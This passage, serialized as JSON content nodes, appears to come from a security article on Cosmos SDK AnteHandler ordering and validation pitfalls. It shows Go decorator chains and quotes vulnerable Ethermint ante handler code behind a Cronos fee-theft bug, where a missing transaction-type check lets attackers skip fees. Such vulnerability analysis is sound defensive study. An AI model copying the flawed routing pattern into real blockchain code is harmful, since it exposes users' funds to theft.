sigTx",{"type":23,"tag":504,"props":80824,"children":80825},{"style":5058},[80826],{"type":29,"value":4367},{"type":23,"tag":504,"props":80828,"children":80829},{"style":5041},[80830],{"type":29,"value":80831},"ok",{"type":23,"tag":504,"props":80833,"children":80834},{"style":5047},[80835],{"type":29,"value":78481},{"type":23,"tag":504,"props":80837,"children":80838},{"style":5041},[80839],{"type":29,"value":70091},{"type":23,"tag":504,"props":80841,"children":80842},{"style":5058},[80843],{"type":29,"value":80844},".(",{"type":23,"tag":504,"props":80846,"children":80847},{"style":5467},[80848],{"type":29,"value":80849},"authsigning",{"type":23,"tag":504,"props":80851,"children":80852},{"style":5058},[80853],{"type":29,"value":357},{"type":23,"tag":504,"props":80855,"children":80856},{"style":5467},[80857],{"type":29,"value":80858},"SigVerifiableTx",{"type":23,"tag":504,"props":80860,"children":80861},{"style":5058},[80862],{"type":29,"value":5200},{"type":23,"tag":504,"props":80864,"children":80865},{"class":5016,"line":5649},[80866,80870,80874,80878],{"type":23,"tag":504,"props":80867,"children":80868},{"style":5067},[80869],{"type":29,"value":14325},{"type":23,"tag":504,"props":80871,"children":80872},{"style":5047},[80873],{"type":29,"value":14910},{"type":23,"tag":504,"props":80875,"children":80876},{"style":5041},[80877],{"type":29,"value":80831},{"type":23,"tag":504,"props":80879,"children":80880},{"style":5058},[80881],{"type":29,"value":5333},{"type":23,"tag":504,"props":80883,"children":80884},{"class":5016,"line":5666},[80885,80889,80893,80897,80902,80906,80911],{"type":23,"tag":504,"props":80886,"children":80887},{"style":5067},[80888],{"type":29,"value":17791},{"type":23,"tag":504,"props":80890,"children":80891},{"style":5041},[80892],{"type":29,"value":27896},{"type":23,"tag":504,"props":80894,"children":80895},{"style":5058},[80896],{"type":29,"value":4367},{"type":23,"tag":504,"props":80898,"children":80899},{"style":5041},[80900],{"type":29,"value":80901},"errorsmod",{"type":23,"tag":504,"props":80903,"children":80904},{"style":5058},[80905],{"type":29,"value":357},{"type":23,"tag":504,"props":80907,"children":80908},{"style":5139},[80909],{"type":29,"value":80910},"Wrap",{"type":23,"tag":504,"props":80912,"children":80913},{"style":5058},[80914],{"type":29,"value":5512},{"type":23,"tag":504,"props":80916,"children":80917},{"class":5016,"line":5683},[80918,80923,80927,80932],{"type":23,"tag":504,"props":80919,"children":80920},{"style":5041},[80921],{"type":29,"value":80922},"            sdkerrors",{"type":23,"tag":504,"props":80924,"children":80925},{"style":5058},[80926],{"type":29,"value":357},{"type":23,"tag":504,"props":80928,"children":80929},{"style":5041},[80930],{"type":29,"value":80931},"ErrTxDecode",{"type":23,"tag":504,"props":80933,"children":80934},{"style":5058},[80935],{"type":29,"value":5557},{"type":23,"tag":504,"props":80937,"children":80938},{"class":5016,"line":5696},[80939,80944],{"type":23,"tag":504,"props":80940,"children":80941},{"style":6297},[80942],{"type":29,"value":80943},"            \"invalid tx type\"",{"type":23,"tag":504,"props":80945,"children":80946},{"style":5058},[80947],{"type":29,"value":5557},{"type":23,"tag":504,"props":80949,"children":80950},{"class":5016,"line":5705},[80951],{"type":23,"tag":504,"props":80952,"children":80953},{"style":5058},[80954],{"type":29,"value":70384},{"type":23,"tag":504,"props":80956,"children":80957},{"class":5016,"line":5728},[80958],{"type":23,"tag":504,"props":80959,"children":80960},{"style":5058},[80961],{"type":29,"value":5403},{"type":23,"tag":504,"props":80963,"children":80964},{"class":5016,"line":5737},[80965],{"type":23,"tag":504,"props":80966,"children":80967},{"emptyLinePlaceholder":15},[80968],{"type":29,"value":5734},{"type":23,"tag":504,"props":80970,"children":80971},{"class":5016,"line":5746},[80972,80977,80981,80986,80990,80995],{"type":23,"tag":504,"props":80973,"children":80974},{"style":5041},[80975],{"type":29,"value":80976},"    signers",{"type":23,"tag":504,"props":80978,"children":80979},{"style":5047},[80980],{"type":29,"value":78481},{"type":23,"tag":504,"props":80982,"children":80983},{"style":5041},[80984],{"type":29,"value":80985}," sigTx",{"type":23,"tag":504,"props":80987,"children":80988},{"style":5058},[80989],{"type":29,"value":357},{"type":23,"tag":504,"props":80991,"children":80992},{"style":5139},[80993],{"type":29,"value":80994},"GetSigners",{"type":23,"tag":504,"props":80996,"children":80997},{"style":5058},[80998],{"type":29,"value":9780},{"type":23,"tag":504,"props":81000,"children":81001},{"class":5016,"line":5813},[81002,81006,81010,81014,81018,81022,81026,81031],{"type":23,"tag":504,"props":81003,"children":81004},{"style":5067},[81005],{"type":29,"value":5070},{"type":23,"tag":504,"props":81007,"children":81008},{"style":5041},[81009],{"type":29,"value":5446},{"type":23,"tag":504,"props":81011,"children":81012},{"style":5058},[81013],{"type":29,"value":4367},{"type":23,"tag":504,"props":81015,"children":81016},{"style":5041},[81017],{"type":29,"value":9190},{"type":23,"tag":504,"props":81019,"children":81020},{"style":5047},[81021],{"type":29,"value":78481},{"type":23,"tag":504,"props":81023,"children":81024},{"style":5067},[81025],{"type":29,"value":79463},{"type":23,"tag":504,"props":81027,"children":81028},{"style":5041},[81029],{"type":29,"value":81030}," signers",{"type":23,"tag":504,"props":81032,"children":81033},{"style":5058},[81034],{"type":29,"value":5333},{"type":23,"tag":504,"props":81036,"children":81037},{"class":5016,"line":5821},[81038,81043,81047,81052,81056,81061,81065,81070,81074,81078,81082,81086,81090,81095],{"type":23,"tag":504,"props":81039,"children":81040},{"style":5041},[81041],{"type":29,"value":81042},"        balance",{"type":23,"tag":504,"props":81044,"children":81045},{"style":5047},[81046],{"type":29,"value":78481},{"type":23,"tag":504,"props":81048,"children":81049},{"style":5041},[81050],{"type":29,"value":81051}," abd",{"type":23,"tag":504,"props":81053,"children":81054},{"style":5058},[81055],{"type":29,"value":357},{"type":23,"tag":504,"props":81057,"children":81058},{"style":5041},[81059],{"type":29,"value":81060},"bk",{"type":23,"tag":504,"props":81062,"children":81063},{"style":5058},[81064],{"type":29,"value":357},{"type":23,"tag":504,"props":81066,"children":81067},{"style":5139},[81068],{"type":29,"value":81069},"getBalance",{"type":23,"tag":504,"props":81071,"children":81072},{"style":5058},[81073],{"type":29,"value":603},{"type":23,"tag":504,"props":81075,"children":81076},{"style":5041},[81077],{"type":29,"value":22333},{"type":23,"tag":504,"props":81079,"children":81080},{"style":5058},[81081],{"type":29,"value":4367},{"type":23,"tag":504,"props":81083,"children":81084},{"style":5041},[81085],{"type":29,"value":9190},{"type":23,"tag":504,"props":81087,"children":81088},{"style":5058},[81089],{"type":29,"value":4367},{"type":23,"tag":504,"props":81091,"children":81092},{"style":5041},[81093],{"type":29,"value":81094},"ATOM",{"type":23,"tag":504,"props":81096,"children":81097},{"style":5058},[81098],{"type":29,"value":5200},{"type":23,"tag":504,"props":81100,"children":81101},{"class":5016,"line":5851},[81102,81106,81111,81115,81120,81124,81129],{"type":23,"tag":504,"props":81103,"children":81104},{"style":5067},[81105],{"type":29,"value":5314},{"type":23,"tag":504,"props":81107,"children":81108},{"style":5041},[81109],{"type":29,"value":81110}," balance",{"type":23,"tag":504,"props":81112,"children":81113},{"style":5058},[81114],{"type":29,"value":357},{"type":23,"tag":504,"props":81116,"children":81117},{"style":5041},[81118],{"type":29,"value":81119},"Amount",{"type":23,"tag":504,"props":81121,"children":81122},{"style":5047},[81123],{"type":29,"value":10764},{"type":23,"tag":504,"props":81125,"children":81126},{"style":5041},[81127],{"type":29,"value":81128}," MIN_BALANCE",{"type":23,"tag":504,"props":81130,"children":81131},{"style":5058},[81132],{"type":29,"value":5333},{"type":23,"tag":504,"props":81134,"children":81135},{"class":5016,"line":5859},[81136,81141,81145,81149,81153,81157,81161],{"type":23,"tag":504,"props":81137,"children":81138},{"style":5067},[81139],{"type":29,"value":81140},"            return",{"type":23,"tag":504,"props":81142,"children":81143},{"style":5041},[81144],{"type":29,"value":27896},{"type":23,"tag":504,"props":81146,"children":81147},{"style":5058},[81148],{"type":29,"value":4367},{"type":23,"tag":504,"props":81150,"children":81151},{"style":5041},[81152],{"type":29,"value":80901},{"type":23,"tag":504,"props":81154,"children":81155},{"style":5058},[81156],{"type":29,"value":357},{"type":23,"tag":504,"props":81158,"children":81159},{"style":5139},[81160],{"type":29,"value":80910},{"type":23,"tag":504,"props":81162,"children":81163},{"style":5058},[81164],{"type":29,"value":5512},{"type":23,"tag":504,"props":81166,"children":81167},{"class":5016,"line":5891},[81168,81173],{"type":23,"tag":504,"props":81169,"children":81170},{"style":5041},[81171],{"type":29,"value":81172},"                ErrInsufficientBalance",{"type":23,"tag":504,"props":81174,"children":81175},{"style":5058},[81176],{"type":29,"value":5557},{"type":23,"tag":504,"props":81178,"children":81179},{"class":5016,"line":5899},[81180,81185],{"type":23,"tag":504,"props":81181,"children":81182},{"style":6297},[81183],{"type":29,"value":81184},"                \"Insufficient Balance\"",{"type":23,"tag":504,"props":81186,"children":81187},{"style":5058},[81188],{"type":29,"value":5557},{"type":23,"tag":504,"props":81190,"children":81191},{"class":5016,"line":5959},[81192],{"type":23,"tag":504,"props":81193,"children":81194},{"style":5058},[81195],{"type":29,"value":79579},{"type":23,"tag":504,"props":81197,"children":81198},{"class":5016,"line":11093},[81199],{"type":23,"tag":504,"props":81200,"children":81201},{"style":5058},[81202],{"type":29,"value":5394},{"type":23,"tag":504,"props":81204,"children":81205},{"class":5016,"line":11111},[81206],{"type":23,"tag":504,"props":81207,"children":81208},{"style":5058},[81209],{"type":29,"value":5403},{"type":23,"tag":504,"props":81211,"children":81212},{"class":5016,"line":11156},[81213],{"type":23,"tag":504,"props":81214,"children":81215},{"emptyLinePlaceholder":15},[81216],{"type":29,"value":5734},{"type":23,"tag":504,"props":81218,"children":81219},{"class":5016,"line":11262},[81220,81224,81229,81233,81237,81241,81246,81250,81255],{"type":23,"tag":504,"props":81221,"children":81222},{"style":5067},[81223],{"type":29,"value":19037},{"type":23,"tag":504,"props":81225,"children":81226},{"style":5139},[81227],{"type":29,"value":81228}," next",{"type":23,"tag":504,"props":81230,"children":81231},{"style":5058},[81232],{"type":29,"value":603},{"type":23,"tag":504,"props":81234,"children":81235},{"style":5041},[81236],{"type":29,"value":22333},{"type":23,"tag":504,"props":81238,"children":81239},{"style":5058},[81240],{"type":29,"value":4367},{"type":23,"tag":504,"props":81242,"children":81243},{"style":5041},[81244],{"type":29,"value":81245},"tx",{"type":23,"tag":504,"props":81247,"children":81248},{"style":5058},[81249],{"type":29,"value":4367},{"type":23,"tag":504,"props":81251,"children":81252},{"style":5041},[81253],{"type":29,"value":81254},"simulate",{"type":23,"tag":504,"props":81256,"children":81257},{"style":5058},[81258],{"type":29,"value":5200},{"type":23,"tag":504,"props":81260,"children":81261},{"class":5016,"line":25550},[81262],{"type":23,"tag":504,"props":81263,"children":81264},{"style":5058},[81265],{"type":29,"value":5965},{"type":23,"tag":32,"props":81267,"children":81268},{},[81269,81271,81276,81278,81284,81286,81292],{"type":29,"value":81270},"Where should this custom ",{"type":23,"tag":154,"props":81272,"children":81274},{"className":81273},[],[81275],{"type":29,"value":80534},{"type":29,"value":81277}," be placed relative to other ",{"type":23,"tag":154,"props":81279,"children":81281},{"className":81280},[],[81282],{"type":29,"value":81283},"AnteHandlers",{"type":29,"value":81285}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":154,"props":81287,"children":81289},{"className":81288},[],[81290],{"type":29,"value":81291},"SetUpContextDecorator",{"type":29,"value":81293}," should work, right?",{"type":23,"tag":32,"props":81295,"children":81296},{},[81297],{"type":23,"tag":68,"props":81298,"children":81301},{"href":81299,"rel":81300},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[72],[81302],{"type":29,"value":78804},{"type":23,"tag":4743,"props":81304,"children":81306},{"code":81305,"language":78229,"meta":7,"className":78230,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[81307],{"type":23,"tag":154,"props":81308,"children":81309},{"__ignoreMap":7},[81310,81343,81360,81368,81397,81409,81421,81450,81478,81557,81590,81618,81663,81708,81736],{"type":23,"tag":504,"props":81311,"children":81312},{"class":5016,"line":5017},[81313,81318,81322,81326,81330,81334,81339],{"type":23,"tag":504,"props":81314,"children":81315},{"style":5041},[81316],{"type":29,"value":81317},"anteDecorators",{"type":23,"tag":504,"props":81319,"children":81320},{"style":5047},[81321],{"type":29,"value":78481},{"type":23,"tag":504,"props":81323,"children":81324},{"style":5058},[81325],{"type":29,"value":78292},{"type":23,"tag":504,"props":81327,"children":81328},{"style":5467},[81329],{"type":29,"value":80794},{"type":23,"tag":504,"props":81331,"children":81332},{"style":5058},[81333],{"type":29,"value":357},{"type":23,"tag":504,"props":81335,"children":81336},{"style":5467},[81337],{"type":29,"value":81338},"AnteDecorator",{"type":23,"tag":504,"props":81340,"children":81341},{"style":5058},[81342],{"type":29,"value":12926},{"type":23,"tag":504,"props":81344,"children":81345},{"class":5016,"line":4868},[81346,81351,81355],{"type":23,"tag":504,"props":81347,"children":81348},{"style":5139},[81349],{"type":29,"value":81350},"    NewSetUpContextDecorator",{"type":23,"tag":504,"props":81352,"children":81353},{"style":5058},[81354],{"type":29,"value":20425},{"type":23,"tag":504,"props":81356,"children":81357},{"style":5021},[81358],{"type":29,"value":81359},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":504,"props":81361,"children":81362},{"class":5016,"line":4876},[81363],{"type":23,"tag":504,"props":81364,"children":81365},{"style":5021},[81366],{"type":29,"value":81367},"    // INSERT HERE\n",{"type":23,"tag":504,"props":81369,"children":81370},{"class":5016,"line":5099},[81371,81376,81380,81384,81388,81393],{"type":23,"tag":504,"props":81372,"children":81373},{"style":5139},[81374],{"type":29,"value":81375},"    NewExtensionOptionsDecorator",{"type":23,"tag":504,"props":81377,"children":81378},{"style":5058},[81379],{"type":29,"value":603},{"type":23,"tag":504,"props":81381,"children":81382},{"style":5041},[81383],{"type":29,"value":38095},{"type":23,"tag":504,"props":81385,"children":81386},{"style":5058},[81387],{"type":29,"value":357},{"type":23,"tag":504,"props":81389,"children":81390},{"style":5041},[81391],{"type":29,"value":81392},"ExtensionOptionChecker",{"type":23,"tag":504,"props":81394,"children":81395},{"style":5058},[81396],{"type":29,"value":8780},{"type":23,"tag":504,"props":81398,"children":81399},{"class":5016,"line":5203},[81400,81405],{"type":23,"tag":504,"props":81401,"children":81402},{"style":5139},[81403],{"type":29,"value":81404},"    NewValidateBasicDecorator",{"type":23,"tag":504,"props":81406,"children":81407},{"style":5058},[81408],{"type":29,"value":5540},{"type":23,"tag":504,"props":81410,"children":81411},{"class":5016,"line":5308},[81412,81417],{"type":23,"tag":504,"props":81413,"children":81414},{"style":5139},[81415],{"type":29,"value":81416},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":504,"props":81418,"children":81419},{"style":5058},[81420],{"type":29,"value":5540},{"type":23,"tag":504,"props":81422,"children":81423},{"class":5016,"line":5336},[81424,81429,81433,81437,81441,81446],{"type":23,"tag":504,"props":81425,"children":81426},{"style":5139},[81427],{"type":29,"value":81428},"    NewValidateMemoDecorator",{"type":23,"tag":504,"props":81430,"children":81431},{"style":5058},[81432],{"type":29,"value":603},{"type":23,"tag":504,"props":81434,"children":81435},{"style":5041},[81436],{"type":29,"value":38095},{"type":23,"tag":504,"props":81438,"children":81439},{"style":5058},[81440],{"type":29,"value":357},{"type":23,"tag":504,"props":81442,"children":81443},{"style":5041},[81444],{"type":29,"value":81445},"AccountKeeper",{"type":23,"tag":504,"props":81447,"children":81448},{"style":5058},[81449],{"type":29,"value":8780},{"type":23,"tag":504,"props":81451,"children":81452},{"class":5016,"line":5349},[81453,81458,81462,81466,81470,81474],{"type":23,"tag":504,"props":81454,"children":81455},{"style":5139},[81456],{"type":29,"value":81457},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":504,"props":81459,"children":81460},{"style":5058},[81461],{"type":29,"value":603},{"type":23,"tag":504,"props":81463,"children":81464},{"style":5041},[81465],{"type":29,"value":38095},{"type":23,"tag":504,"props":81467,"children":81468},{"style":5058},[81469],{"type":29,"value":357},{"type":23,"tag":504,"props":81471,"children":81472},{"style":5041},[81473],{"type":29,"value":81445},{"type":23,"tag":504,"props":81475,"children":81476},{"style":5058},[81477],{"type":29,"value":8780},{"type":23,"tag":504,"props":81479,"children":81480},{"class":5016,"line":5367},[81481,81486,81490,81494,81498,81502,81506,81510,81514,81519,81523,81527,81531,81536,81540,81544,81548,81553],{"type":23,"tag":504,"props":81482,"children":81483},{"style":5139},[81484],{"type":29,"value":81485},"    NewDeductFeeDecorator",{"type":23,"tag":504,"props":81487,"children":81488},{"style":5058},[81489],{"type":29,"value":603},{"type":23,"tag":504,"props":81491,"children":81492},{"style":5041},[81493],{"type":29,"value":38095},{"type":23,"tag":504,"props":81495,"children":81496},{"style":5058},[81497],{"type":29,"value":357},{"type":23,"tag":504,"props":81499,"children":81500},{"style":5041},[81501],{"type":29,"value":81445},{"type":23,"tag":504,"props":81503,"children":81504},{"style":5058},[81505],{"type":29,"value":4367},{"type":23,"tag":504,"props":81507,"children":81508},{"style":5041},[81509],{"type":29,"value":38095},{"type":23,"tag":504,"props":81511,"children":81512},{"style":5058},[81513],{"type":29,"value":357},{"type":23,"tag":504,"props":81515,"children":81516},{"style":5041},[81517],{"type":29,"value":81518},"BankKeeper",{"type":23,"tag":504,"props":81520,"children":81521},{"style":5058},[81522],{"type":29,"value":4367},{"type":23,"tag":504,"props":81524,"children":81525},{"style":5041},[81526],{"type":29,"value":38095},{"type":23,"tag":504,"props":81528,"children":81529},{"style":5058},[81530],{"type":29,"value":357},{"type":23,"tag":504,"props":81532,"children":81533},{"style":5041},[81534],{"type":29,"value":81535},"FeegrantKeeper",{"type":23,"tag":504,"props":81537,"children":81538},{"style":5058},[81539],{"type":29,"value":4367},{"type":23,"tag":504,"props":81541,"children":81542},{"style":5041},[81543],{"type":29,"value":38095},{"type":23,"tag":504,"props":81545,"children":81546},{"style":5058},[81547],{"type":29,"value":357},{"type":23,"tag":504,"props":81549,"children":81550},{"style":5041},[81551],{"type":29,"value":81552},"TxFeeChecker",{"type":23,"tag":504,"props":81554,"children":81555},{"style":5058},[81556],{"type":29,"value":8780},{"type":23,"tag":504,"props":81558,"children":81559},{"class":5016,"line":5388},[81560,81565,81569,81573,81577,81581,81585],{"type":23,"tag":504,"props":81561,"children":81562},{"style":5139},[81563],{"type":29,"value":81564},"    NewSetPubKeyDecorator",{"type":23,"tag":504,"props":81566,"children":81567},{"style":5058},[81568],{"type":29,"value":603},{"type":23,"tag":504,"props":81570,"children":81571},{"style":5041},[81572],{"type":29,"value":38095},{"type":23,"tag":504,"props":81574,"children":81575},{"style":5058},[81576],{"type":29,"value":357},{"type":23,"tag":504,"props":81578,"children":81579},{"style":5041},[81580],{"type":29,"value":81445},{"type":23,"tag":504,"props":81582,"children":81583},{"style":5058},[81584],{"type":29,"value":17224},{"type":23,"tag":504,"props":81586,"children":81587},{"style":5021},[81588],{"type":29,"value":81589},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":504,"props":81591,"children":81592},{"class":5016,"line":5397},[81593,81598,81602,81606,81610,81614],{"type":23,"tag":504,"props":81594,"children":81595},{"style":5139},[81596],{"type":29,"value":81597},"    NewValidateSigCountDecorator",{"type":23,"tag":504,"props":81599,"children":81600},{"style":5058},[81601],{"type":29,"value":603},{"type":23,"tag":504,"props":81603,"children":81604},{"style":5041},[81605],{"type":29,"value":38095},{"type":23,"tag":504,"props":81607,"children":81608},{"style":5058},[81609],{"type":29,"value":357},{"type":23,"tag":504,"props":81611,"children":81612},{"style":5041},[81613],{"type":29,"value":81445},{"type":23,"tag":504,"props":81615,"children":81616},{"style":5058},[81617],{"type":29,"value":8780},{"type":23,"tag":504,"props":81619,"children":81620},{"class":5016,"line":5649},[81621,81626,81630,81634,81638,81642,81646,81650,81654,81659],{"type":23,"tag":504,"props":81622,"children":81623},{"style":5139},[81624],{"type":29,"value":81625},"    NewSigGasConsumeDecorator",{"type":23,"tag":504,"props":81627,"children":81628},{"style":5058},[81629],{"type":29,"value":603},{"type":23,"tag":504,"props":81631,"children":81632},{"style":5041},[81633],{"type":29,"value":38095},{"type":23,"tag":504,"props":81635,"children":81636},{"style":5058},[81637],{"type":29,"value":357},{"type":23,"tag":504,"props":81639,"children":81640},{"style":5041},[81641],{"type":29,"value":81445},{"type":23,"tag":504,"props":81643,"children":81644},{"style":5058},[81645],{"type":29,"value":4367},{"type":23,"tag":504,"props":81647,"children":81648},{"style":5041},[81649],{"type":29,"value":38095},{"type":23,"tag":504,"props":81651,"children":81652},{"style":5058},[81653],{"type":29,"value":357},{"type":23,"tag":504,"props":81655,"children":81656},{"style":5041},[81657],{"type":29,"value":81658},"SigGasConsumer",{"type":23,"tag":504,"props":81660,"children":81661},{"style":5058},[81662],{"type":29,"value":8780},{"type":23,"tag":504,"props":81664,"children":81665},{"class":5016,"line":5666},[81666,81671,81675,81679,81683,81687,81691,81695,81699,81704],{"type":23,"tag":504,"props":81667,"children":81668},{"style":5139},[81669],{"type":29,"value":81670},"    NewSigVerificationDecorator",{"type":23,"tag":504,"props":81672,"children":81673},{"style":5058},[81674],{"type":29,"value":603},{"type":23,"tag":504,"props":81676,"children":81677},{"style":5041},[81678],{"type":29,"value":38095},{"type":23,"tag":504,"props":81680,"children":81681},{"style":5058},[81682],{"type":29,"value":357},{"type":23,"tag":504,"props":81684,"children":81685},{"style":5041},[81686],{"type":29,"value":81445},{"type":23,"tag":504,"props":81688,"children":81689},{"style":5058},[81690],{"type":29,"value":4367},{"type":23,"tag":504,"props":81692,"children":81693},{"style":5041},[81694],{"type":29,"value":38095},{"type":23,"tag":504,"props":81696,"children":81697},{"style":5058},[81698],{"type":29,"value":357},{"type":23,"tag":504,"props":81700,"children":81701},{"style":5041},[81702],{"type":29,"value":81703},"SignModeHandler",{"type":23,"tag":504,"props":81705,"children":81706},{"style":5058},[81707],{"type":29,"value":8780},{"type":23,"tag":504,"props":81709,"children":81710},{"class":5016,"line":5683},[81711,81716,81720,81724,81728,81732],{"type":23,"tag":504,"props":81712,"children":81713},{"style":5139},[81714],{"type":29,"value":81715},"    NewIncrementSequenceDecorator",{"type":23,"tag":504,"props":81717,"children":81718},{"style":5058},[81719],{"type":29,"value":603},{"type":23,"tag":504,"props":81721,"children":81722},{"style":5041},[81723],{"type":29,"value":38095},{"type":23,"tag":504,"props":81725,"children":81726},{"style":5058},[81727],{"type":29,"value":357},{"type":23,"tag":504,"props":81729,"children":81730},{"style":5041},[81731],{"type":29,"value":81445},{"type":23,"tag":504,"props":81733,"children":81734},{"style":5058},[81735],{"type":29,"value":8780},{"type":23,"tag":504,"props":81737,"children":81738},{"class":5016,"line":5696},[81739],{"type":23,"tag":504,"props":81740,"children":81741},{"style":5058},[81742],{"type":29,"value":5965},{"type":23,"tag":32,"props":81744,"children":81745},{},[81746,81748,81753,81755,81761,81762,81768],{"type":29,"value":81747},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":154,"props":81749,"children":81751},{"className":81750},[],[81752],{"type":29,"value":81283},{"type":29,"value":81754},", such as ",{"type":23,"tag":154,"props":81756,"children":81758},{"className":81757},[],[81759],{"type":29,"value":81760},"SigGasConsumeDecorator",{"type":29,"value":4478},{"type":23,"tag":154,"props":81763,"children":81765},{"className":81764},[],[81766],{"type":29,"value":81767},"ConsumeGasForTxSizeDecorator",{"type":29,"value":81769},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":32,"props":81771,"children":81772},{},[81773,81775,81781,81783,81788],{"type":29,"value":81774},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":154,"props":81776,"children":81778},{"className":81777},[],[81779],{"type":29,"value":81780},"msgs",{"type":29,"value":81782}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":154,"props":81784,"children":81786},{"className":81785},[],[81787],{"type":29,"value":80609},{"type":29,"value":81789}," chain.",{"type":23,"tag":320,"props":81791,"children":81793},{"id":81792},"real-world-examples-2",[81794],{"type":29,"value":78754},{"type":23,"tag":32,"props":81796,"children":81797},{},[81798,81800,81805,81807,81814],{"type":29,"value":81799},"An instance of ",{"type":23,"tag":154,"props":81801,"children":81803},{"className":81802},[],[81804],{"type":29,"value":80534},{"type":29,"value":81806}," misuse is a ",{"type":23,"tag":68,"props":81808,"children":81811},{"href":81809,"rel":81810},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[72],[81812],{"type":29,"value":81813},"Theft of Fund bug",{"type":29,"value":81815}," that was exploited in a Cronos contract.",{"type":23,"tag":32,"props":81817,"children":81818},{},[81819,81821,81826,81828,81833,81835,81841,81843,81849,81851,81856,81858,81863],{"type":29,"value":81820},"In this scenario, ",{"type":23,"tag":154,"props":81822,"children":81824},{"className":81823},[],[81825],{"type":29,"value":81780},{"type":29,"value":81827}," are multiplexed to different ",{"type":23,"tag":154,"props":81829,"children":81831},{"className":81830},[],[81832],{"type":29,"value":80534},{"type":29,"value":81834}," sets through the user-controlled ",{"type":23,"tag":154,"props":81836,"children":81838},{"className":81837},[],[81839],{"type":29,"value":81840},"ExtensionOptionsEthereumTx",{"type":29,"value":81842}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":154,"props":81844,"children":81846},{"className":81845},[],[81847],{"type":29,"value":81848},"MsgEthereumTx",{"type":29,"value":81850}," does not have ",{"type":23,"tag":154,"props":81852,"children":81854},{"className":81853},[],[81855],{"type":29,"value":81840},{"type":29,"value":81857}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":154,"props":81859,"children":81861},{"className":81860},[],[81862],{"type":29,"value":81283},{"type":29,"value":81864},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":32,"props":81866,"children":81867},{},[81868],{"type":23,"tag":68,"props":81869,"children":81872},{"href":81870,"rel":81871},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[72],[81873],{"type":29,"value":78804},{"type":23,"tag":4743,"props":81875,"children":81877},{"code":81876,"language":78229,"meta":7,"className":78230,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    